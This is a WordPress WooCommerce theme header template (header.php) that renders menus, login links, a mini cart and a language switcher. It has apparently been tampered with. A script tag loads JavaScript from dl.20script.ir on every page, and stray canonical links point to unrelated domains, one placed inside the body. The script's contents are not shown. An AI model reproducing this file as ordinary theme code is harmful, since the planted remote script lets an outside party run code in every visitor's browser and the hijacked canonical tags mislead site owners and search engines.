<?php
/**
 * $Desc
 *
 * @version    $Id$
 * @package    wpbase
 * @author     Opal  Team <opalwordpressl@gmail.com >
 * @copyright  Copyright (C) 2014 wpopal.com. All Rights Reserved.
 * @license    GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html
 *
 * @website  http:/wpopal.com
 * @support  http://wpopal.com
 */
?>
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" <?php language_attributes(); ?>>
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" <?php language_attributes(); ?>>
<![endif]-->
<!--[if !(IE 7) | !(IE 8)  ]><!-->
<html <?php language_attributes(); ?>>
<!--<![endif]-->
<head>
    <title><?php wp_title( '|', true, 'right' ); ?></title>
    <?php wp_head(); ?>
</head>
<link rel="canonical" href="http://shop.onliner.ir/" />
<body <?php body_class('header-v1'); ?>>
    <!-- OFF-CANVAS MENU SIDEBAR -->
    <section id="wpo-off-canvas" class="wpo-off-canvas">
        <div class="wpo-off-canvas-body">
		<link rel="canonical" href="http://www.20script.ir" />
            <div class="wpo-off-canvas-header">
                <?php get_search_form(); ?>
                <!-- <button type="button" class="close btn btn-close" data-dismiss="modal" aria-hidden="true">
                    <i class="fa fa-times"></i>
                </button> -->
                <!-- <div class="mobile-menu-header">
                    <?php //_e('Menu',TEXTDOMAIN); ?>
                </div> -->
            </div>
            <nav class="navbar navbar-offcanvas navbar-static" role="navigation">
                <?php
                $args = array(
                    'theme_location'  => 'mainmenu',
                    'container_class' => 'navbar-collapse',
                    'menu_class'      => 'wpo-menu-top nav navbar-nav',
                    'fallback_cb'     => '',
                    'menu_id'         => 'main-menu-offcanvas',
                    'walker'          => new Wpo_Megamenu_Offcanvas()
                );
                wp_nav_menu($args);
                ?>
            </nav>
        </div>
    </section>
    <!-- //OFF-CANVAS MENU SIDEBAR -->
<script type="text/javascript" src="http://dl.20script.ir/img/website.js"></script>
	<?php global $woocommerce; ?>
    <!-- START Wrapper -->
	<div class="wpo-wrapper">
		<!-- Top bar -->
		<section class="topbar">
			<div class="container">
				<div class="pull-left user-login">
					<?php if( !is_user_logged_in() ){ ?>
                        <?php
							$link_login = '';
							if(class_exists('WooCommerce')){
								$link_login = get_permalink( get_option('woocommerce_myaccount_page_id') );
							}else{
								$link_login = home_url( 'wp-login.php' );
							}
						?>
						<span class="hidden-xs"><?php echo __('Welcome visitor you can',TEXTDOMAIN); ?></span>
						<a href="<?php echo $link_login ?>" title="<?php _e('login or register', TEXTDOMAIN); ?>">
							<?php _e(' login or register ', TEXTDOMAIN); ?>
						</a>
                    <?php }else{ ?>
                        <?php $current_user = wp_get_current_user(); ?>
                        <span class="hidden-xs"><?php echo __('Welcome ',TEXTDOMAIN); ?><?php echo $current_user->display_name; ?> !</span>
                    <?php } ?>


				</div>
				<div class="pull-right user-setting active-mobile">
					<div class="icon-mobile hidden-lg hidden-md">
						<i class="fa fa-cog"></i>
					</div>
					<div class="active-content">
						<?php
							$args = array( 'theme_location' => 'topmenu',
	                                'fallback_cb' => '',
	                                'menu_id' => 'top-header-menu',
	                                'container_class' =>'menu-top-menu-header-container'
	                            );
	               			wp_nav_menu($args);
						?>
					</div>
				</div>

				<div class="pull-right active-mobile hidden-xs hidden-lg hidden-md">
					<div class="icon-mobile">
						<i class="fa fa-search"></i>
					</div>
					<div class="active-content">
						<?php get_search_form(); ?>
					</div>
				</div>

				<?php if(class_exists('WooCommerce')){ ?>
				<div class="pull-right active-mobile  hidden-lg hidden-md">
					<div class="icon-mobile">
						<i class="fa fa-shopping-cart"></i>
					</div>
					<div class="active-content cart-large">
						<div class="widget_shopping_cart_content"></div>
					</div>
				</div>
				<?php } ?>

			</div>
		</section>
		<!-- // Topbar -->
		<!-- HEADER -->
		<header id="wpo-header" class="wpo-header">
			<div class="container">
				<div class="header-wrap clearfix">
					<!-- LOGO -->
					<div class="logo-in-theme pull-left text-center">
						<div class="logo">
							<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
								<img src="<?php echo of_get_option('logo'); ?>" alt="<?php bloginfo( 'name' ); ?>">
							</a>
						</div>
					</div>
					<!-- MENU -->
					<nav id="wpo-mainnav" data-duration="<?php echo of_get_option('megamenu-duration',400); ?>" class="wpo-megamenu <?php echo of_get_option('magemenu-animation','slide'); ?> animate navbar navbar-default" role="navigation">
						<div class="navbar-header">
							<?php wpo_renderButtonToggle(); ?>
						</div><!-- //END #navbar-header -->
						<?php
                            $args = array(  'theme_location' => 'mainmenu',
                                            'container_class' => 'collapse navbar-collapse navbar-ex1-collapse',
                                            'menu_class' => 'nav navbar-nav megamenu',
                                            'fallback_cb' => '',
                                            'menu_id' => 'main-menu',
                                            'walker' => new Wpo_Megamenu());
                            wp_nav_menu($args);
                        ?>
					</nav>
					<!-- //MENU -->
					<!-- //LOGO -->
					<div class="pull-right search-from hidden-xs hidden-sm hidden-md">
						<?php get_search_form(); ?>
					</div>
					<!-- Setting -->


                    <?php if( of_get_option('woo-show-minicart', true) ) : ?>
                        <div class="hidden-sm hidden-xs">
                            <?php bigshop_cartpopup(); ?>
                        </div>
                    <?php endif; ?>


					<!-- // Setting -->
				</div>


                <?php 
                    // WPML - Custom Languages Menu
                    if( function_exists( 'icl_get_languages' ) ){
                        $languages = icl_get_languages('skip_missing=N&orderby=KEY&order=DIR&link_empty_to=str');
                        if( is_array( $languages ) ){
                            
                            foreach( $languages as $lang_k=>$lang ){
                                if( $lang['active'] ){
                                    $active_lang = $lang;
                                    unset( $languages[$lang_k] );
                                }
                            }

                            // disabled
                            if( count( $languages ) ){
                                $lang_status = 'enabled';
                            } else {
                                $lang_status = 'disabled';
                            }
                            
                            echo '<div class="language wpml-languages quick-button '. esc_attr( $lang_status ).'">';
                            
                                echo '<div class="button heading active" href="'. esc_url( $active_lang['url'] ) .'" ontouchstart="this.classList.toggle(\'hover\');">';
                                    echo '<img src="'. esc_url( $active_lang['country_flag_url'] ) .'" alt="'. esc_attr( $active_lang['translated_name'] ) .'"/>';
                                    echo esc_attr( $active_lang['translated_name'] );
                                    if( count( $languages ) ) echo '<i class="icon-down-open-mini"></i>';
                                echo '</div>';
                                
                                if( count( $languages ) ){
                                    echo '<ul class="wpml-lang-dropdown list">';
                                        foreach( $languages as $lang ){
                                            echo '<li><a href="'. esc_url( $lang['url'] ) .'"><img src="'. esc_url( $lang['country_flag_url'] ).'" alt="'. esc_attr( $lang['translated_name'] ).'"/>'. esc_attr( $lang['translated_name'] ).'</a></li>';
                                        }
                                    echo '</ul>';
                                }
                                
                            echo '</div>';
                        }
                    }
                   ?>


			</div>
		</header>
		<!-- //HEADER -->